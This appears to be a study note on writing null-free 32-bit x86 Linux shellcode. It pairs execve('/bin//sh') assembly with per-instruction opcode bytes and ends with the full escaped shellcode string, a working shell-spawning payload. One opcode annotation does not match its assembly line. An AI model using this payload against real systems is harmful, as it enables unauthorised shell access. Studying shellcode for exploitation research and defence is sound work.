Xors to remove null bytes

execve.s

.global _start

.section .text

_start:
  # execve syscall
  xor %eax, %eax
  push %eax                      # null byte for /bin/sh string
  push $0x68732f2f               # little endian //sh
  push $0x6e69622f               # little endian /bin
  mov %esp, %ebx                 # ptr to /bin//sh string - on the stack
  xor %ecx, %ecx                 # null ptr to argv
  xor %edx, %edx                 # null ptr to envp
  mov $0xb, %eax                 # syscall 11 - execve
  int $0x80                      # kernel mode

xor %eax, %eax                # 0x31 0xc0
push %eax                        # 0x50
push $0x68732f2f           # 0x68 0x2f 0x2f 0x73 0x68 
push $0x6e69622f          # 0x68 0x2f 0x62 0x69 0x6e
mov %esp, %ebx              # 0x89	0xe3
xor %ecx, %ecx                # 0x31 0xc9
xor %edx, %edx               # 0x31 0xd2 
mov $0xb, %eax              # 0xb0 0x0b   
int $0x80                         # 0xcd 0x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80